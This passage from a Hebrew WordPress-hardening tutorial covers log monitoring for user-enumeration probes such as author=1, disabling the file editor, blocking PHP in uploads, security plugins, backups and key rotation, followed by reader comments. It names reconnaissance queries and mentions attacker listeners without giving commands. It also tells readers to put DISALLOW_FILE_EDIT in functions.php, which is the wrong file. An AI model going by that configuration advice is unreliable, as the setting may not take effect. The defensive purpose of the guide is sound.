מישהו ניסה לזהות את שם המשתמש שלכם בעזרת author=1? יכול להיות מאד שזה מישהו שעשה זאת כהאקר אתי, אך בכל-זאת, כדאי שתשימו לב לאבטחת המידע באתר שלכם. קובץ הaccess log בשרת שלכם הוא אחד מהקבצים החשובים ביותר. עליכם לעקוב אחריו באופן תמידי ולזהות פעילויות חשודות כלפי האתר שלכם. פעמים רבות בעזרתו תוכלו גם ללמוד על חורי אבטחה באתר שלכם שעליכם לתקן, לדוגמא – גם אם לא הייתם קוראים את המדריך הזה, אם הייתם רואים פנייה לwp-json/wp/v2/users או לauthor=1, הייתם יכולים לבדוק בgoogle מה פשר השאילתה הזו ולהבין כי היא עלולה לחשוף מידע אישי:

2. השביתו את עורך הקבצים בפאנל הניהול של האתר

בהתחשב בכך שמרבית הפריצות לאתרי wordpress הן כלפי ממשק הניהול של האתר עצמו, תוקפים זדונים נוהגים להשתמש בעורך הקבצים המקומי בפאנל הניהול של האתר, ליצור listener אליו הם יתחברו בעזרת metasploit, netcat וכו' ובכך לשמר את הגישה לאתר לאורך זמן, גם לאחר שהוחלפה סיסמא/בלי צורך להימצא פיזי באתר ולקבל גישה לשרת. בעקבות כך, ההמלצה היא לא להשאיר את האפשרות לערוך את קבצי האתר דרך ממשק הניהול עצמו ולהסתפק באפשרות שלנו לעשות זאת בעזרת שרת FTP.

עבור ביצוע ההגדרה, ניכנס לקובץ functions.php ונזין את קטע הקוד הבא בסופו:

define( ‘DISALLOW_FILE_EDIT’, true );

3. השביתו את הPHP בתיקיית הuploads

גם תיקיית העלאת הקבצים (uploads) היא מקום שהתוקפים מנסים להחדיר דרכה סקריפט זדוני למערכת שלנו. על-כן, ההמלצה היא להשבית את הPHP בתיקייה ובכך לחסום את היכולת של קטעי קוד זדוניים לפעול.

עבור כך, נפתח את תיקיית הuploads שלנו (שנמצאת בwp-content), ניצור בה קובץ בשם htaccess. (שימו לב לנקודה) ונכניס לתוכו את התחביר הבא:

<Files *.php>
Order allow,deny
Deny from all
</Files>

4. נתק אוטומטית את הsession לאחר זמן מסויים

ביקרתם אצל חבר, נכנסתם לאתר הwordpress שלכם ושכחתם להתנתק. השתמשתם במחשב ציבורי (לא מומלץ בכלל), נכנסתם לאתר הwordpress שלכם ושכחתם להתנתק. כל אחד מהמקרים הללו יכול להוביל לסיכון אבטחתי חמור, שכן לאחרים תהיה גישה לממשק הwordpress שלכם. מה כדאי לעשות בשביל למנוע זאת? פשוט מאד. הגדירו מראש שהsession יתנתק בכל מספר שעות או כאשר אין פעילות, כך שגם אם שכחתם היכן-שהוא את החיבור שלכם פתוח, לאחר זמן קצר הוא יתנתק באופן אוטומטי ותוכלו לצמצם את הנזק האפשרי.

עבור ביצוע הפעולה, נשתמש בתוסף Inactive Logout שיתנתק מהמערכת ברגע שיזהה חוסר פעילות בחלון הwordpress. נוכל גם להגדיר קפיצת חלון התראה לפני ההתנתקות, ע"מ לוודא שאכן המשתמש לא פעיל.

5. הקפידו להשתמש בחברת אחסון שמקפידה על אבטחה, אבטחו את פרטי הcPanel

כפי שהסברתי בחלק השלישי של המדריך, גם אם האתר שלכם בפני עצמו מאד מאד מוקשח ומאובטח, אם את שערי הכניסה המשניים אתם לא דואגים לאבטח כראוי, אתם מעמידים את האתר שלכם בסכנה. לפני כל רכישת שירות אחסון, וודאו תמיד שחברת האחסון שלכם שמה דגש גדול על אבטחה, אחרת – פריצה אליהם, היא גם פריצה אליכם. כמו-כן, וודאו שפרטי ההתחברות שלכם לאתר חברת האחסון הן פרטי התחברות שלא יהיה ניתן לזהות באמצעות brute-force, אחרת, אם תוקף זדוני יצליח לחדור לחשבון שלכם בחברת האחסון, בחברות רבות הוא גם יוכל לערוך את קבצי האתר וגם באלו שלא, הוא יוכל לשנות את פרטי החשבונות שלכם, כך שתהיה לו גם-כן גישה לאתר. ההמלצות האחרונות תקפות גם לגבי ממשק הcPanel הפופולארי. ברגע שתוקף זדוני יצליח לחדור אליו הוא יוכל לראות ולערוך את כל הקבצים שלנו במערכת, לצפות ולערוך בכל מסד הנתונים שלנו ולמעשה להשיג שליטה מלאה על האתר שלנו.

6. התקינו תוסף חומת אש במערכת הwordpress שלכם

על נושא זה כבר דיברנו בקצרה למעלה, בעת הגדרת האימות הדו שלבי למערכת שלנו. אך כאן אתייחס אליו בהרחבה יותר. אחד התוספים החשובים שכדאי שיהיו לנו באתר הוא תוסף firewall שיבצע הגנה מרחבית על האתר שלנו. קיימים שורה של תוספים מצוינים עבור כך וההמלצה שלי היא להשתמש בwordfence דרכו גם הגדרתם את האימות הדו שלבי באתר. אם האתר שלכם מכיל מידע חשוב, ההמלצה היא לרכוש את גרסת הpro של האתר דרכה תוכלו גם לחסום כתובות ip ממדינות זרות (לדוגמא: איראן) ועוד ועוד. אם האתר שלכם הוא סטנדרטי, אתם יכולים להסתפק בגרסה החינמית ובלבד שאתם מקפידים על כל הוראות האבטחה שהצגתי כאן. בעזרת תוסף זה תוכלו לקבל מידע על רמת ההקשחה של האתר שלכם וההמלצות של wordfence ע"מ להגיע ל100% הקשחה. תוכלו לראות מידע על ניסיונות התחברות שלכם ומאלו כתובות ip הן התבצעו, תוכלו לחסום כתובות ip ספציפיות (לדוגמא, כתובות ip שמספימות אתכם בתגובות או כשאתם רואים שמאותן כתובות מנסים לפרוץ למערכת שלכם), תוכלו לקבל התראות למייל על כל התחברות למערכת ועוד ועוד.

7. גבו את האתר שלכם!

זו אולי ההמלצה החשובה ביותר מתוך שמונת ההמלצות שאני מציג כאן. גם אם ביצעתם את כל כללי ההקשחה שהצגתי כאן וממילא האתר שלכם מאובטח ברמה גבוהה (כמובן, אתם גם מקפידים להסיר headers שמציגים infrormation-disclosuer ומגדירים heders שחשובים לאבטחה, כאמור – תוכלו לקרוא על כך בפוסט שלי על הresponse headers של http), עדיין, אם תוקף זדוני יימצא zero day בתוסף פופולארי כולשהו ויינצל אותו כלפיכם, האתר שלכם ייפרץ. בשביל תרחישים כאלו, עליכם תמיד לוודא שאתם מחזיקים בגיבוי תכוף של האתר שלכם.

גם-כאן, אם אין לכם דרך ליצור את הגיבוי דרך חברת האחסון, ההמלצה היא להשתמש בתוסף בתשלום ולהבטיח גיבוי איכותי ואמין של האתר שלכם. ובכל-זאת, אם אתם לא מעוניינים לשלם, תוכלו גם להשתמש בגרסה החינמית של התוסף UpdraftPlus, שנחשב לאמין ומצוין.

הUpdraftPlus יאפשר לכם ליצור גיבויים קבועים למערכת שלכם (תוכלו לתזמן גיבויים באופן קבוע) ולהוריד אותם לענן או למחשב שלכם. הוא יאפשר גם לגבות קבצים ספציפיים ועוד ועוד.

8. שנו את מפתחות האבטחה בקובץ wp-config.php

כפי שאתם שמים לב, כל עוד לא התנתקתם ממשק הwordpress שלכם (ולא עברתם את הזמן שהגדרתם לניתוק אוטומטי כפי שלמדנו בסעיף 3), אתם נשארים מחוברים למערכת הwordpress, גם אם יצאתם מהדפדפן. הסיבה לכך היא שwordpress שומרת את הsession שלנו פתוח בעוגייה.

הבעיה מתחילה ברגע שיתבצע כלפינו ע"י תוקפים מתקפות שונות של גניבת עוגיות, במטרה להשיג את אותן עוגיות. בשל-כך, wordpress מצפינה את הsessions שלנו בעזרת מפתחות הצפנה אותם נוכל לראות בקובץ wp-config.php:

בשל העובדה שמפתחות האבטחה לא משתנים לעולם, ההמלצה היא לשנות אותם בכל חשש לפריצה למערכת וגם בלי חשש כזה, מידי תקופה כולשהי (תקופה ארוכה), ע"מ למנוע מהתוקפים להצליח להשים עליהם את ידם.

הדרך לשנות את אותן מפתחות: א'. בפעולה ידנית, פשוט ניכנס לקובץ wp-config.php, נמחק את מפתחות האבטחה. כעת ניכנס לURL הבא: https://api.wordpress.org/secret-key/1.1/salt/, נעתיק את מפתחות האבטחה שמוצגות בו (האתר מגריל מפתחות אבטחה רנדומליים, אם תרעננו את העמוד תראו שהמפתחות משתנים) ונדביק אותם במקום המפתחות הישנים, בקובץ wp-config.php. ב'. בעזרת התוסף MalCare שיאפשר לכם את ביצוע הפעולה באופן אוטומטי, בלחיצת כפתור.

תוספים שיאפשרו ביצוע אוטומטי של הקשחה

כפי שהבטחתי, כעת אציג לכם את הדרך לסתום את חורי האבטחה שהצגנו גם בעזרת תוספים ולא להצטרך ללכלך את הידיים בשינוי ידני (לחלק מהתוספים התייחסתי כבר במהלך המדריך, כאן אתייחס לשאר). אני אציג 2 תוספים שאיתם (לצד שאר התוספים עליהם כבר המלצתי), בעזרתם תוכלו לבצע את ההקשחה באופן אוטומטי (אם כי יש דברים שאינם מכסים, כמו חלק משמונת ההמלצות שציינתי בסוף המדריך והסתרת wp-includes, פעולה שתצטרכו לבצע בעצמכם).

א'. jetpack security

אחד מהתוספים היותר פופולאריים בwordpress לו יתרונות נוספים רבים מלבד יתרון האבטחה. בנוגע לאבטחה, הוא מספק גיבוי בצורה קלה ונוחה אותו ניתן להעביר לענן או למחשב בלחיצת כפתור, מספק הגנה נגד brute-force, הגנות כנגד דואר זבל ועוד ועוד.

ב'. Cerber Security, Anti-spam & Malware Scan

תוסף מצוין שפותר שורה ארוכה של בעיות אבטחה שסקרנו במדריך. החל מטיפול בxmlrpc, wp-json, אימות דו שלבי, הסתרת wp-admin ואפילו מניעת CSRF בממשק התגובות.

אם נתקין את התוסף וננסה לממש שוב CSRF, נראה שהפעולה לא מצליחה (התגובה תישלח, אך תיחסם ע"י התוסף), זאת בעקבות CAPTCHA נסתרת שמממש התוסף לוודא שהתגובה היא אינה מ'בוט' (csrf == בוט). אם נסתכל בלוח הבקרה של התוסף, נראה אכן מידע על כך שהתגובות נחסמו בשל זיהוין כספאם:

ג'. WP Hardening

תוסף פחות מוכר, אך של חברת אבטחה מכובדת שמתמחת באבטחת wordpress. התוסף מאפשר תיקון של שורה ארוכה מליקויי ההתקשחות אותן הצגנו בלחיצת כפתור ובממשק נוח להפליא.

כפי שציינתי בתחילת המדריך, כחלק ממדריך זה, כתבתי עבורכם כלי אוטומטי, מאד פשוט, בפייתון, שיבצע סריקה לאיתור ליקויי האבטחה באתר שלכם. את הכלי אשדרג בע"ה מידי פעם, אך לבנתיים, הוכנסו בו כל הסקריפטים שכבר הצגתי לכם במדריך עצמו + סקריפט לוידוא https וhsts וסקריפט לוידוא קיומן של response headers שחשובים עבור אבטחת האתר.

את הכלי תוכלו להוריד מgithub, כאן.

5 Replies to “פריצה והגנה למערכת wordpress + שימוש בpython לחקירת האתר באופן אוטומטי, המדריך המלא”

  1. מדריך פשוט מעולה. אין לי מילים כמה אני מעריך אותך ואת הבלוג שלך!!

  2. מאמר מצוין. אהבתי את auther=1 🙂
    כמה שגיאות קלות שמצאתי ויהיה נחמד אם יתוקנו:
    auther === author בכמה מקומות
    יש שגיאה ב-is_author – זו פונקציה ולא משתנה 🙂 צריך להיות:

    function redirect_author_parameter() {
    if ( is_author() ) {
    wp_redirect( home_url(), 301 );
    exit;
    }
    }
    add_action('template_redirect', 'redirect_author_parameter' );

  3. מדהים אחי תוכן מעולה,יישר כח,אני חושב שיהיה מעניין מדריך HTB, פתירת מכונה או שתיים,והסבר קצר.
    תמשיך כך 🙂

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *